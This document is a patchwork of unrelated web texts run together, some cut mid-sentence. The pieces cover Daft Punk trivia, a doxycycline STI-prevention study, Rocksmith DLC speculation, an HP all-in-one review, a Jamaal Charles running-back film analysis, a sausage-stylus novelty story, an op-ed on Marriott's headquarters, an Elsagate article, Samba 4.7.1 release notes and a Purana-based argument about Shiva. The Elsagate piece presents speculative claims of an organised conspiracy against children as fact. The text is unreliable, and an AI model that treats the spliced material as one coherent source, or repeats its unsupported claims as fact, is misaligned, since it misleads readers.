At the time, the androids wanted the majority of the pressing of their debut album to be in vinyl, but high demand of the album forced the need for more CD pressings to be done.
“Homework” didn’t go gold in the U.S. until 2001
2001 was also the year that it reportedly reached the two million sales worldwide mark. DAD’s wondering if the 2001 release of Discovery drove more fans to buy the first album.
“Human After All” was inspired by the novel 1984
The theme of Human After All was the oppressive force that the media has over us, a dark tone that Thomas credits to being inspired by George Orwell’s 1984. At the time, the androids refused to be interviewed about the album, even going as far as leaving a note on the Japanese edition of the album that said the album spoke for itself. Guy-Manuel now feels that denying interviews for Human After All was a mistake.
Their Alive 2006/2007 tour made people reconsider their opinion on “Human After All”
The androids’ third album was the most commercially panned project, with many critics picking up on the project being made in 10 days and the repetition of the music as being ultimate letdowns compared to their previous output, which was mirrored by the fans. Busy P, then manager of the androids, has said that “When we put out Human After All, I got a lot of bad feedback, like, ‘It
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pills (100 mg) within three days any time they had sex without condoms. The remaining men did not receive the antibiotic regimen; however, everyone was given condoms and counseling about safer sex. All participants were tested for STIs at regular intervals for several months afterward.
Overall, fewer STIs were detected among participants in the doxycycline group. Specifically, 24% of participants who took antibiotics contracted an STI, compared to 39% who contracted one in the control group.
Antibiotic use decreased the risk of contracting syphilis and chlamydia; however, it did not reduce the risk of contracting gonorrhea. Thus, the drug did not appear to be equally effective for all bacterial STIs.
Those in the treatment group used a median of 7 pills per month. Few side effects were reported, and no evidence of risk compensation was observed (meaning that participants who took the drug did not seem to engage in riskier sexual behaviors).
While promising, far more research is needed before we can begin recommending this strategy widely as a means of STI prevention. In particular, we need data that considers groups beyond MSM, examines the long-term effects of this treatment, and considers implications for drug resistance (e.g., would this strategy exacerbate the already growing problem of antibiotic-resistant STIs?).
Want to learn more about Sex and Psychology? Click here for previous articles or follow the blog on Facebook (facebook.com/psychologyofsex), Twitter (@JustinLehmiller), or Reddit (reddit.com/r/psychologyofsex) to receive updates.
Image Credit: 123RF/Katarzyna Białasiewicz
You Might Also Like:Hello Rocksmith fans!
Welcome to the first DLC of October 2017!
RollingStone222’s clue has been posted and solved, and we have a brand new addition to music games (outside of singing games that is).
It’s a GIF, you know what that means…
Here we go!
50% and Oberlin College? Hmm
This seems plausible…
Oh yeah, it’s gotta be!
It is!
Great to see some more Soul in Rocksmith!
What other THREE songs could be included? There sure is a lot of material to choose from
What follows is speculation
@OsagaTheGreat is hoping for this one (Confirmed)
@pcgamingisted is hoping this more guitar driven song ends up in the pack
Saxa-guitar chart? (Confirmed)
Ubi I need this song
Are you excited for this soulful addition to Rocksmith? Or are you hoping for something a bit spookier to come this month? Let us know!
UPDATE:
Looking for a group who'll always see you through? Reach out tomorrow for another track from this week's #Rocksmith DLC artist. pic.twitter.com/gvjtQfQ8HG — Rocksmith (@Rocksmithgame) October 1, 2017HP is introducing a number of new PCs today, but easily the most impressive — on a physical level, at least — is the Envy Curved All-in-One PC: a Windows 10 machine built into a curved and extremely wide 34-inch display. Just imagine how many windows you could have up at once. It's, like, a lot.
I'm still thinking about all of the windows I could pull up at once
The effect of the curved screen is actually pretty nice here. The display has a gentle curve to it that makes it always feel like you're looking straight on, even as you turn your head to see all the way to either side of the display. This is not something a normal human needs, but it's hard to look at this thing and not imagine how great it would be for work, especially as a replacement to a standard two-monitor setup.
As much as the sheer size of this all-in-one can wow you, there may be some turnoffs. Its resolution is only 3440 by 1440, which is on the low side considering the display's size. In my limited time with the Envy Curved All-in-One, the display also appeared a few notches too dim — HP pointed out that I was in a very well lit room beside an open window, which certainly exacerbated the issue, but at a minimum it's still going to be a problem for people with particularly bright rooms.
The all-in-one is also just big. That's to be expected given its display size, but it's made bigger by thick bezels that run around all four sides. Basically, you're going to need a big desk.
As with a number of the other machines HP is announcing today, the Envy Curved All-In-One is designed to fit in inside of a modern home. That mostly comes into play with its legs: holding up the display on either side are a pair of curved, shining pieces of metal that drop down in a V shape. They look nice, but it's hard for any subtle touches to really change the look of what's ultimately an enormous screen.
A similar design also appears on smaller models without the curve
The Envy Curved All-In-One will be available November 22nd starting at $1,799.99. It can be configured with an Intel Core i5 or i7 Skylake processor, integrated graphics or an Nvidia GTX 960A graphics card, 8GB or 16GB of memory, and either an SSD, an HDD, or both. All options include six speakers — they're very loud — and an Intel RealSense camera, so you can use Windows Hello for face detection logins.
HP isn't the only manufacturer going after this size right now. The industry at large has been settling on 34-inch curved ultra-wide displays, a number of which we saw earlier this year. HP seems to be the first to put an entire computer inside of one, but manufacturers' interest in this size suggests we'll see others soon.
HP is also intruding a far less flashy all-in-one with the same design cues. It's just called the Envy All-in-One PC, and it includes 24-inch and 27-inch display options, neither of which are curved. They can be configured to include Ultra HD displays and a touchscreen. Both will be available starting November 1st, with prices beginning at $999.99 for the 24-inch model and $1,199.99 for the 27-inch model.The offseason is a time for hyperbole. I get that. Every player is in the best shape of his life, every youngster is going to "take the next step," every scheme is about to revolutionize the way we see the game... Seriously, I get it.
Then someone compared Melvin Gordon to Jamaal Charles, and something snapped inside me.
Look, Gordon may well turn out to be a fantastic pro. This has nothing to do with him. But every year, some new fast guy (or two, or three) draws comparisons to Jamaal Charles. His entire career he's been grouped with smaller, faster backs as though they're roughly the same player (starting with Chris Johnson whenever everyone thought Charles was a poor man's Chris Johnson. How amusing).
I've had it.
Jamaal Charles is incredibly fast, yes. We know this. We've seen this. When he gets into the open field there are only a handful of defensive backs in the league who can keep up. Ran track in college, yadda yadda yadda.
But what makes Jamaal Charles special isn't his speed. Knile Davis is fast. Chris Johnson is (still) extremely fast. Dri Archer is fast, for crying out loud. If being fast were all it took to make an all-universe running back, there would be more than one Jamaal Charles. There's not.
Because being as special as Charles requires a lot more than just speed. We're going to talk about that here, in the first ever Jamaal Charles film review. I'd never bothered before, as he's so obviously special that it seemed pointless. But it's time to talk this through.
If I were to create a list of what qualities make Charles special in order of importance, it would look like this
1) Vision
2) Balance
3) Speed
4) Strength
Charles has a lot of other qualities, but those four are what set him apart. And if you'll notice; speed isn't the top of that list. It's not second, either. Because flat-out speed is one of the most overrated qualities in a running back. We love speed because it's something we can SEE.
But vision is absolutely, positively the most important thing a runner can possess. Everyone loves Marshawn Lynch's ability to destroy tacklers, but his superb vision (on par with Jamaal's) is what makes him an elite runner. The ability to know where to run to put stress on a defense gives the runner something close to a head start.
Jamaal has some of the best vision in the NFL. It's why he so often seems to go five yards without more than a hand being laid on him, and why he so rarely gets stuffed for no gain. It's not because the Chiefs sport an elite offensive line, obviously.
That's why it looks so different when Charles runs as opposed to when Davis runs (or virtually any other NFL back). Charles finds openings other guys just flat-out miss.
That elite vision alone would make Charles a good back even if every other quality of his were average. Unfortunately for NFL defenses, that's not the case. Charles also possesses balance that is completely inhuman. It allows him to cut while sprinting and not lose his feet (that's why he almost looks like he's gliding out there). It also allows him to bounce off tackles that would defeat most running backs his size.
You combine those two traits with his obvious speed / quickness and his surprising strength (no, he doesn't weigh 199 pounds anymore. He's 210 at least), and Charles is a unique runner. I could demonstrate this with multiple snaps from every single game. Seriously. It shows up virtually every time he touches the ball. However, how often do we get a chance to glorify in JC's awesomeness? Not often enough, I say. so we'll take a look at a few plays that demonstrate what makes Charles special.
Quick note; this is going to be pretty long as it is, so I'm not going to spend a ton of time discussing play calling, blocking assignments, formations, etc.. I will provide the location of each play so you can take a look for yourself if such things interest you. Here, we're focusing on why Jamaal Charles is special.
Week 15 vs. Raiders, 5:53 in the second quarter
We'll start with a play that went for "only" nine yards. This play demonstrates a lot of the qualities outside of speed Charles possesses and how it affects plays in favor of the Chiefs.
The Chiefs are running a heavy formation in which Charles APPEARS to be headed for the gap between Anthony Fasano (the TE farthest inside) and the RT. I say appears because I don't know the play call. The type of blocking done here makes it seem like that's the call, but it's important to remember what we don't know.
Anyway, Charles takes the ball and eyes what appears to be a sizable hole for him to run through. Most runners would commit to the hole and call it a day. However, Charles isn't like most runners, and that hole is about to close up VERY quickly (the circled Raider is circled for a reason, yanno).
This is life in the NFL for a running back. Where there was a massive hole.5 seconds ago, there's now a scrum of bodies and an unblocked safety. The speed with which gaps close at the pro level is one reason so many good college backs can't hack it in the big leagues. They can't adjust on the fly when things go wrong.
Charles sees what's happening and changes directions instantly, cutting back the other direction toward open field. In the meantime, Rodney Hudson's man is able to shake him, forcing Charles to take the LONG route to his left...
Charles manages to somehow run at full speed while bending his body away from the defender, just inches from a desperate flail that causes the defender to fall down (after this screen shot).
That weird contortion is something Charles does all the time on the field while running full speed, and it's often the difference between a defender getting a hand on him vs. grasping at the air. The balance required to run at full speed while bending is just freakish. Doing it immediately following a complete direction change at full speed is... well, it's alien. It just is.
I drew up an arrow roughly approximating what Charles is about to do in order to gain nine yards on a play most backs would get maybe two. The arrow looks drunk, I know. But if you look, you see 57 on the Raiders (I'm sure he has a name. I'm also sure I don't care what it is) has disengaged and is in pursuit.
Charles COULD continue outside and get a few yards, but 23 has a good angle and would be able to prevent the play from getting much more than a minimal gain. What the drunken arrow represents is Charles seeing this and...
... essentially defying physics by making another cut that reverses his direction WHILE maintaining his speed.
I can't even, guys. And neither can 57. I hope he found his jock eventually.
And as if all that's preceded isn't enough, Charles was able to maintain his balance amidst a slew of Raiders defenders and essentially fall forward for an extra 3-4 yards at the end of the run. He's not a big guy, but he doesn't go down on first contact the way a lot of runners his size do. Remember that fourth quality, strength? It's the difference with those last couple yards.
This run was nothing special in the box score. But for all but 2-3 other running backs in the NFL it's a stuff. For Jamaal Charles it's a nine yard gain. His vision here was superb, as it not only allowed him to avoid a scrum at the line of scrimmage, it led to him making the run twice as productive by cutting back inside when 99.9 percent of backs would have just raced to the sideline.
His balance is demonstrated throughout his insane cuts on this play, as well as when several defenders start getting their hands on him after he cuts back. His strength comes on display in his ability to put his head down and power forward at the end of the play despite being hit several times.
Again, it's not a special run on the stats sheet. But it took a special player to make it happen at all.
Let's take a look at another one.
Week 14 at Arizona, 9:48 left in the first quarter
If you're a Chiefs fan you remember this play. However, you may have watched it live and just felt like it was a case of Charles simply being too fast for the Cardinals. There was a lot more going on than pure speed.
So as you can see here, this is a simple run at the right edge, where Anthony Fasano is to keep a hole clear and Mike McGlynn (the pulling LG) is to blast through the hole and take out the linebacker. Ideally, the hole created allows Charles to quickly get to the second level of the defense.
It did not go ideally, as these two pictures shows from a better angle.
So things don't quite as planned. Fasano gives up inside leverage and allows his defender to "shrink" the hole considerably (not a condemnation of Fasano. He had a tough assignment). Additionally, the linebacker McGlynn is taking on does a good job preventing himself from being pancaked and pretty much stops McGlynn IN the hole, essentially making him something like another defender (or at best, a giant roadblock).
Like the play we looked at above, the initial design is somewhat dead in the water here. However, Jamaal Charles just flat out doesn't care.
Fair warning, the two pictures I'm about to show do not do justice to what Charles did on this play. I'll show the pictures, then explain what he did. No, I'm not going to start doing gifs. Yes, this says something about how lazy I am. Yes, your outrage says something about your lack of imagination.
Anyway, what was I talking about? Oh, right, Charles doing insane things.
All right, that line-type-thing is a rough approximation of what Charles does on this play. In all honesty, that line isn't quite crazy enough.
Charles sees the hole close and in fact has Anthony Fasano pushed backward against him. What a lot of runners would do in this scenario is either lower their head and try to push Fasano and his defender forward for a couple of yards or try and cut back inside. Neither of which are really winning propositions.
Instead, Charles jumps backward a full yard and plants and cuts outside as he's landing from the backward jump. re-read that sentence. It doesn't even make sense. But that's what he did. Further, once he's done jumping back and cutting outside in one motion, HE CUTS UPFIELD with his very next step.
In other words, Jamaal Charles jumped backward, cut sideways, then cut forward in three "steps." Again, I just... I can't even. Most runners would fall attempting half of this, let alone the entirety of it. Here's Charles coming out of his cut after a cut after a backward jump.
He's starting to run downfield while his leg is at a 45 degree angle.
I'm sorry, I misspoke. Let me put that another way.
HE'S STARTING TO RUN DOWNFIELD WHILE HIS LEG IS AT A 45 DEGREE ANGLE.
It's not just speed, people. No one can do this. And he's not done yet, because right after he got done going full Neo on the laws of the universe...
... he takes a hit from a much larger individual.
Small. Undersized. Scat back. Third down guy. Receiving specialist. Not a between the tackles runner. Doesn't move the pile.
Yeah, right. Until he takes a hit while off balance and just keeps right on moving. Don't tell me Jamaal Charles doesn't run with strength and can't shake tackles. He's a living weeble. He might wobble but he's not falling down if you don't wrap up.
One more arm tackle by a secondary player (Charles runs through it without slowing down) and it's daylight. The defensive players were already jogging by the time Charles got to the 30-yard-line. I commend their honesty. It's like trying to chase down a bolt of lightening. You know, pointless and probably humiliating if you ever manage to somehow catch it.
Once again, Charles demonstrated all the reasons he's special besides speed. Yes, his ability to hit a 5th gear almost instantly was the cherry on top that made it a sure touchdown once he got into the open field. But what GOT him to the open field was vision, balance (insane balance in this case), and strength.
I don't have to show you more, do I? The point has been made, hasn't it?
OK, one more.
Week 12 at Raiders, 12:29 left in the fourth quarter
There's a lot to hate about this game. It was not fun to watch the Chiefs (fresh off their best win in years) completely fall apart as the Raiders (the RAIDERS, of all teams) exposed their biggest flaws on national television.
That said, Jamaal Charles's 30 yard touchdown catch in the 4th quarter was absolutely insane. I'll try to keep this brief, but he basically turned this into a touchdown by doing something approximating the cha cha slide in the middle of a professional football game.
I'm gonna go ahead and just describe this.
Charles gets the ball in the open field with multiple defenders in the area. One in particular is completely unblocked and has a chance to square up as Charles heads his way.
Charles moves almost right at the defender, then plants his foot and veers right at the last possible second, then in his next step cuts upfield again. The whole "plant and cut into a plant and cut" move again. Not only is it physically impossible, but it demonstrates Charles's remarkable vision. He saw exactly ONE space where he would be able to escape the head-on defender and still elude all incoming tacklers, and took it.
Here's a picture right after the humiliation. Charles is about to demonstrate once again why his vision and ability to read a football situation is simply superior to mere mortals'.
Let's all first take a moment and laugh at the two Raiders who nearly collided in their fruitless pursuit of Charles. I'd like to think they chose to take stock of their decision to play professional football in this moment, as they laid on the ground vanquished like so many before them.
Now look at Charles. He basically has two options in front of him. I've labeled them #1 and #2 for your convenience.
Frankly option No. 1 is really the only option 99 percent of running backs would consider in this situation. ESPECIALLY running backs who are overly reliant on their speed. They'd race to the edge and hope they could turn the corner in time to avoid the defender (who is starting to shift his weight to head that direction) and get a touchdown.
Charles, though, sees option No. 2. Basically, he sees that one of the defenders is mostly blocked, another is pursuing hard enough that a freakish (you know, Jamaal Charles freakish) cut left will remove him as an obstacle. The remaining defenders are too far away to get significant contact before he'd be able to accelerate toward the end zone, and by the time they would arrive it would be too late.
Option No. 1 has a shot at a touchdown. Option No. 2 is much more of a sure thing. Almost no running backs would see option No. 2, because it requires reading the entire field in a split second while moving at full speed then making a decision based on the information you obtained. Even writing that SENTENCE was stressful. And, of course, once you've made the read you need to be talented enough to execute it. Let's watch the final cut of the play as Charles' plan comes to fruition.
This is fun.
This play is more hammering home of the same point; It's Jamaal's vision and balance that are the most important factors in his special ability to make defenders look foolish. The speed is fantastic, but it's not his primary trait.
It's time we start speaking out against these comparisons. Sure, Melvin Gordon, Chris Johnson, and a whole bunch of other players are very nearly as fast as Jamaal Charles or (gasp!) even faster than he is. But that's NOT what makes Charles a unique player. Not even close. I mean, seriously, does this stat happen because of speed alone?
Jamaal Charles was tied for the lowest % of carries that went for no gain or loss at 12.2%. Knile Davis was the 2nd highest at 25.4%. — Matt Claassen (@PFF_Matt) June 19, 2015
There are guys who are as fast as Jamaal Charles. There are guys (well, a couple) who see the field as well as Jamaal Charles. There MIGHT be a player or two who have balance as good as Charles. And there absolutely are players who have good strength for their size the way Charles does.
But absolutely no one has all of it. Marshawn Lynch doesn't have his speed. LeSean McCoy doesn't have his vision. DeMarco Murray doesn't have his balance (or speed).
Jamaal Charles is totally utterly unique. He's not like anyone else in the National Football League right now.
Oh, and he also happens to be one of the better pass protectors in the league.
Stop comparing other backs to him, NFL. They don't deserve it. And Chiefs fans, let's stop contributing to the idea that what makes Jamaal Charles special is his speed. He deserves better.Too cold to take off your gloves but desperate to play a round of Tapulous? Here's a solution that's taken South Korean iPhone-lovers by storm: use a sausage on your iPhone instead.
South Koreans are tackling the problem of numb fingers--brought on by using touchscreen phones in the winter time--with snack meat (see photos and video below).
The weight and texture of these convenience store sausages makes them a handy and effective 'Sausage Stylus.'
According to Clusterfock (via what is believed to be a legitimate Korean-language news site),'sales of a snack sausage increase by almost 40%* in the winter as iPhone users utilize the sausage as a stylus in order to avoid removing their gloves.' (read an auto-translated version of the article.)
Check out the iPhone'sausage stylus' in action!
WATCH:Why Not MoCo For Marriott’s New Headquarters?
From Bethesda Now - By Dan Reed
Marriott’s plans to move out of their headquarters on Fernwood Drive will launch an epic battle between D.C., Maryland and Virginia for the international hotel chain. But as local and state leaders seek to retain Montgomery County’s fourth-largest employer, Marriott’s stated interest in being close to a Metro station makes this fight a little different than previous attempts to woo big companies.
For much of the 20th century, big companies favored suburban locations, like the office park where Marriott International sits today. William Whyte studied where 38 Fortune 500 companies leaving New York City relocated to, and found they all moved to areas with the same things: exclusive country clubs, high-performing schools, and room for big, lavish homes. In fact, all of those companies moved the headquarters within eight miles of the executive’s home.
That’s how Bethesda, as well as places like Tysons Corner in Northern Virginia, became major job centers: It was already a sought-after place to live, and so the heads of large companies chose to locate their offices nearby.
Lately, companies are increasingly seeking urban locations: Places with shops and restaurants, walkable and bikeable streets, and transit access that attracts young, educated workers. Urban doesn’t necessarily mean the District of Columbia. Many corporate heads still live in Maryland and Virginia (Marriott Executive Vice President Kathleen Matthews lives in Chevy Chase and is mulling a run for the area’s House seat) and Marriott says they’re considering locations throughout the region.
That new criteria should be an advantage for Montgomery County, which has long boasted the kind of high-end suburban neighborhoods where executives might choose to live, as well as walkable, transit-served urban places that their young workers may prefer.
In recent years, the county has tried to encourage a nighttime economy in the hopes that attracting young people would draw the companies who want to hire them.
There are a number of places in Montgomery County that would suit Marriott’s needs. Downtown Bethesda is a natural choice, as is downtown Silver Spring, both of which have Metro access.
But neither have a lot of office construction going on. Plans to make White Flint an urban hub are a long way from fruition, but it has a Metro station. Long-term plans for developments like Pike & Rose, North Bethesda Center and White Flint Mall do include substantial amounts of office space.
However, some things haven’t changed. Despite evidence to the contrary, Virginia has long been perceived as more business-friendly than Maryland. In recent years, Virginia beat out Maryland in landing the headquarters of Hilton Hotels, Northrup Grumman, Intelsat and Bechtel, which received tax incentives from Maryland before leaving.
And Fairfax County is catching up to Montgomery with urbanism, with plans to remake existing job centers like Tysons Corner and Merrifield as urban districts. The Silver Line has made Tysons, which was already a very attractive place for large companies, even more desirable as employees from all over the D.C. area can get there without being stuck in Beltway traffic.
As a result, Virginia has emerged as an early favorite for Marriott’s new headquarters. A list of seven potential sites includes two in D,C., four in Northern Virginia, and not a single one in Montgomery County.
It may be hard to convince Marriott bigwigs that Montgomery County is, in fact, a better place to do business.
But what if Montgomery County leaders made the case for Montgomery County as a better place?
In many white-collar fields, a lot of work happens outside the office, whether on the golf course or at the bar. Tysons may have the Silver Line. But unlike Bethesda or Silver Spring, it doesn’t have many places for an evening stroll or a round of drinks with coworkers, at least outside of the mall.
This approach might be challenging for new Maryland Gov. Larry Hogan, who campaigned on improving the state’s business climate, but has been ambivalent about public transit and the state’s urban areas. His repeated delays of the Purple Line between Bethesda and New Carrollton, which was ready to break ground this year, might send the wrong message to a corporation that wants to locate near a Metro station.
However, it might be the ticket to keeping Marriott in Montgomery County. We may not be able to beat Fairfax County at providing tax incentives, but we’ve got thirteen Metro stations and some great places along them. It’s time we made them part of our business strategy too.
Photo via Marriott International
Dan Reed is an urban planner who grew up in Montgomery County and remembers eating Gifford’s ice cream before it was on Bethesda Row. He sits on the board of Action Committee for Transit, an organization dedicated to sustainable transportation in Montgomery County. He also writes at Just Up The Pike, a blog about Silver Spring, and Greater Greater Washington, a regional blog about planning.After campaigners accused YouTube of infrastructural violence against children, the Google-owned video platform has promised to crackdown on disturbing videos featuring gore, abuse and sexual violence. The new policy is supposed to be enforced on content that doesn’t necessarily break YouTube’s rules, but features vulgar language, violence, nudity, sexually suggestive content and portrayal of harmful and dangerous activities.
Effective immediately, the new YouTube policy will prevent age restricted videos from being seen by users who are not logged in and those who have entered their age as below 18. Who does this policy concern, how does it work and will it prevent violent, disturbing content from traumatizing children?
This crackdown does not come as a surprise. YouTube is absolutely flooded with extremely violent, inappropriate, sexually suggestive videos targeted at children. The phenomenon has been dubbed Elsagate.
Elsagate – conspiracies and facts
These bizarre videos have birthed an entire subculture of sorts. They are being discussed in quite a few, the general public would call them, “conspiracy-minded” internet communities, with perhaps the biggest, the most vigilant and the most important one being Reddit’s /r/elsagate subreddit (subreddit is a separate forum within a forum, dedicated to a particular topic). How did it all start?
The name Elsagate is derived from bizarre videos featuring Elsa from the Disney cartoon Frozen and Spiderman indulging in despicable acts no child should ever see. Gore, violence, sexual fetishism, abuse and rape are the prevailing themes in such videos. Along with these internet communities, countless theories about what these videos are and who they’re supposed to target have emerged. The term “Elsagate” itself has also evolved and it is no longer used to describe just videos featuring the Frozen franchise character, it is instead used to describe any video, animated or not, targeted at children, that contains these disturbing messages. A lot is being said about what is now known as Elsagate, but it is always best to stick to the facts. So, what do we know so far?
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Elsagate videos can, essentially, be classified into two main categories:
Animated videos – Some of them home made and some of them clearly high-budget, animation videos typically feature popular nursery rhymes, franchise characters and Elsagate-typical themes.
Live action videos – Even more disturbing than animated videos, live action videos contain graphic content, nudity and real actors, sometimes children.
There’s hundreds of channels producing these videos and it is blatantly obvious that they’re being produced all over the world. Most of them, however, seem to originate from Russia, Thailand and the USA. Bizarrely, they are strikingly similar and, if not for the dialogue, one could easily (and wrongly) conclude that they’ve been created by the same person or by the same team of people. What do they have in common?
Incoherent plot or lack thereof
Recurring symbolism and objects (needles, spiders, enemas)
Popular franchise characters (Elsa, Spiderman, the Joker, Peppa Pig, to name a few)
Nudity and/or sexually suggestive poses
Erotic fetishism
Bright colors
Random noises and popular nursery rhymes
Punishment-reward dynamic among participants, whether real or animated
The videos may not be coherent, but many proponents of the Elsagate theory claim this is an organized and orchestrated attempt to condition children into believing abuse is perfectly natural. Furthermore, they state these videos are normalizing pedophilia and different forms of violence, grooming children. Creating an entire generation of potential abusers and victims.
One can only hope that is not the case, but patterns keep emerging. Artist, writer, technologist and publisher, James Bridle, in his piece about Elsagate, published on Medium and quoted in the Guardian, had the following to say.
“Someone or something or some combination of people and things is using YouTube to systematically frighten, traumatize, and abuse children, automatically and at scale.”
The comments
The comments below most of these videos are particularly disturbing. A lot of them are written by individuals who are, clearly, not afraid to out themselves as pedophiles. On the other hand, many of these comments contain what some believe to be encrypted messages. Seemingly an incoherent mess of symbols, emojis and letters, these comments are thought by some to be encrypted, coded communication between pedophiles. Whether that is the truth or not, we do not know yet. No one has cracked the code, if there is a code to crack.
Those who oppose the “coded communication” theory, claim these comments are written by software – bots which are meant to boost a video’s ranking in YouTube’s search engine. Others think this is small children typing random letters as they watch these videos on their parents’ smartphones and tablets.
How do Elsagate videos affect children?
Most importantly, how do these videos affect children? No official studies have yet been done, but many distressed parents have come out and shared their stories in the previously mentioned and Elsagate-dedicated Reddit forum, /r/elsagate. Quoted below are some of them.
“My son (4) has been completely banned from YouTube for over two months and he still obsessively repeats the strange, distorted screeching and screaming sounds heard in many videos, in deep and growly voices, the ‘red, blue, etc’, the family finger.” “She wanted to pretend to be a baby a lot. She was 3. She threw tantrums when I wouldn’t let her watch the videos anymore. She was supervised when we did watch them, but always wanted me to click on ones that involved toilets and crying children.” “My nephew is 6 and has trouble sleeping. Wakes up at night saying he’s dreaming of monsters and blood.” “I learned about these videos a long while ago because I caught my kids watching them. They thought they were just watching kids shows since they had all their favorite characters. They didn’t really understand what was going on.. which I suspect is part of the point — get them used to it at a young age so if/when it happens to them they think it’s normal.”
Another Reddit user, who claims to be a victim of childhood sexual abuse, wrote the following
“You know how you tell kids that they have to get injections even though they hurt because it will make them feel better? That’s the kind of stuff abusers say to kids. ‘Injections’ doesn’t necessarily mean needles, if you know what I mean. I noticed lots of videos have themes of kids doing something like eating candy or doing something else bad and then getting sick and having to endure something painful to make them better. That’s totally a grooming thing.”
A completely legitimate question arises: How is this still up on YouTube?
Many of these disturbing videos have millions of views. Logically and judging by the comments, they have been reported and flagged hundreds, if not thousands of times. Yet, they are still up on YouTube. In fact, not only are they still on YouTube, they show up in the “related” section, autoplay if autoplay is on, and can even be accessed via the YouTube Kids mobile app.
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Creators of these videos manipulate YouTube’s search engine, by throwing in random, sometimes seemingly innocent, keywords in video titles and the video description box. Not only does this help them rank higher in YouTube’s very own search engine, it also enables them to show up in the “related” section. This is why it is incredibly easy for a child to stumble upon them.
What does the future hold?
Without a shadow of a doubt, whatever the end goal of these YouTube channels and videos is, they are indeed traumatizing children all across the globe. They would traumatize an adult. In that sense, Elsagate is not a “conspiracy theory.” Orchestrated or not, contrived or spontaneous, Elsagate is an elaborate conspiracy against children.
This is why YouTube’s crackdown is welcome and encouraged. Until this content is wiped out and until people creating and spreading it are dealt with, perhaps it’s best to closely monitor your children’s internet activity. The world wide web is cruel and it can do a lot of damage to a child’s fragile mind.
[Featured Image by suriyachan/Shutterstock]Samba 4.7.1 Available for Download
Samba 4.7.1 (gzipped)
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Patch (gzipped) against Samba 4.7.0
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============================= Release Notes for Samba 4.7.1 November 02, 2017 ============================= This is the latest stable release of the Samba 4.7 release series. Changes since 4.7.0: -------------------- o Michael Adam <[email protected]> * BUG 13091: vfs_glusterfs: Fix exporting subdirs with shadow_copy2. o Jeremy Allison <[email protected]> * BUG 13027: s3: smbd: Currently if getwd() fails after a chdir(), we panic. * BUG 13068: s3: VFS: Ensure default SMB_VFS_GETWD() call can't return a partially completed struct smb_filename. * BUG 13069: sys_getwd() can leak memory or possibly return the wrong errno on older systems. * BUG 13093:'smbclient' doesn't correctly canonicalize all local names before use. o Douglas Bagnall <[email protected]> * BUG 13095: Fix broken linked attribute handling. o Andrew Bartlett <[email protected]> * BUG 12994: Missing LDAP query escapes in DNS
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-s and mahAbhArata is also considered as authoritative. Hence when one purANa was split into 18 or more, then it cannot contain anything that is misleading. In the same way, the whole of mahAbhArata, which is considered as superior in terms of authority than purANa-s, as whatever is there is mahAbhArata is there is purANa-s and whatever is not there is mahAbhArata is not found anywhere else. The question that mahAbhArata had only 25000 verses and later verses were added over millennia and that it is not authored by Veda Vyas is completely wrong, as Adi Sankara in his viShNu sahasranAma bhASya says that
bhArata (mahAbhArata) was compiled by veda vyAsa
mahAbhArata consists of 1 Lakh verses
Adi Sankara says that, upanishads say all three guNa-s are doSa-s and are to be transcended. Hence even sattva guNa is to be transcended.
SB 1.1.2: Completely rejecting all religious activities which are materially motivated, this Bhāgavata Purāṇa propounds the highest truth, which is understandable by those devotees who are fully pure in heart. The highest truth is reality distinguished from illusion for the welfare of all. Such truth uproots the threefold miseries. This beautiful Bhāgavatam, compiled by the great sage Vyāsadeva [in his maturity], is sufficient in itself for God realization. What is the need of any other scripture? As soon as one attentively and submissively hears the message of Bhāgavatam, by this culture of knowledge the Supreme Lord is established within his heart.
If we read a verse from Bhagavat Purana (1.1.2), which says that only bhagavat is enough, then it means there is no meaning of reading any shruti or smriti. Why would acharya-s write commentaries on prasthantraiyi. The words are not to be taken literally. It is just glorification or a praise of Bhagavat Purana.
Considering above points and claims about padma purana being corrupted or interpolated or extrapolated, if at all something needs to be discarded on basis of dubious authority, then it has to be few verses of classification, which are the basis of rejecting parts of shruti-s, smriti-s, veda-s, purANa-s or even the whole Tamasic purANa-s.
Greatness of Siva in bhAgavat purANa
Note: For convenience I am quoting SB from vedabase, a site dedicated to spreading teachings of Srila Prabhupada. Hence I cannot put 100 % faith in the authenticity of translation. User discretion is advised. If you are a not a Vaishnava, specially if you are not a Gaudiya Vaishnav, at times you will have to ignore Srila Prabhupada's purports.
Taking refuge in Lord Shiva, the saviour
SB 8.7.19: O King, when that uncontrollable poison was forcefully spreading up and down in all directions, all the demigods, along with the Lord Himself, approached Lord Śiva [Sadāśiva]. Feeling unsheltered and very much afraid, they sought shelter of him.
SB 8.7.20: The demigods observed Lord Śiva sitting on the summit of Kailāsa Hill with his wife, Bhavānī, for the auspicious development of the three worlds. He was being worshiped by great saintly persons desiring liberation. The demigods offered him their obeisances and prayers with great respect.
SB 8.7.21: The prajāpatis said: O greatest of all demigods, Mahādeva, Supersoul of all living entities and cause of their happiness and prosperity, we have come to the shelter of your lotus feet. Now please save us from this fiery poison, which is spreading all over the three worlds.
Shiva, the creator
SB 8.7.22: O lord, you are the cause of bondage and liberation of the entire universe because you are its ruler. Those who are advanced in spiritual consciousness surrender unto you, and therefore you are the cause of mitigating their distresses, and you are also the cause of their liberation. We therefore worship Your Lordship.
SB 8.7.23: O lord, you are self-effulgent and supreme. You create this material world by your personal energy, and you assume the names Brahmā, Viṣṇu and Maheśvara when you act in creation, maintenance and annihilation.
SB 8.7.24: You are the cause of all causes, the self-effulgent, inconceivable, impersonal Brahman, which is originally Parabrahman. You manifest various potencies in this cosmic manifestation.
Shiva as source of OM
SB 8.7.25: O lord, you are the original source of Vedic literature. You are the original cause of material creation, the life force, the senses, the five elements, the three modes and the mahat-tattva. You are eternal time, determination and the two religious systems called truth [satya] and truthfulness [ṛta]. You are the shelter of the syllable oḿ, which consists of three letters a-u-m.
Universe is inside Shiva
SB 8.7.26: O father of all planets, learned scholars know that fire is your mouth, the surface of the globe is your lotus feet, eternal time is your movement, all the directions are your ears, and Varuṇa, master of the waters, is your tongue.
Shiva Stuti
SB 8.7.27: O lord, the sky is your navel, the air is your breathing, the sun is your eyes, and the water is your semen. You are the shelter of all kinds of living entities, high and low. The god of the moon is your mind, and the upper planetary system is your head.
SB 8.7.28: O lord, you are the three Vedas personified. The seven seas are your abdomen, and the mountains are your bones. All drugs, creepers and vegetables are the hairs on your body, the Vedic mantras like Gāyatrī are the seven layers of your body, and the Vedic religious system is the core of your heart.
SB 8.7.29: O lord, the five important Vedic mantras are represented by your five faces, from which the thirty-eight most celebrated Vedic mantras have been generated. Your Lordship, being celebrated as Lord Śiva, is self-illuminated. You are directly situated as the supreme truth, known as Paramātmā.
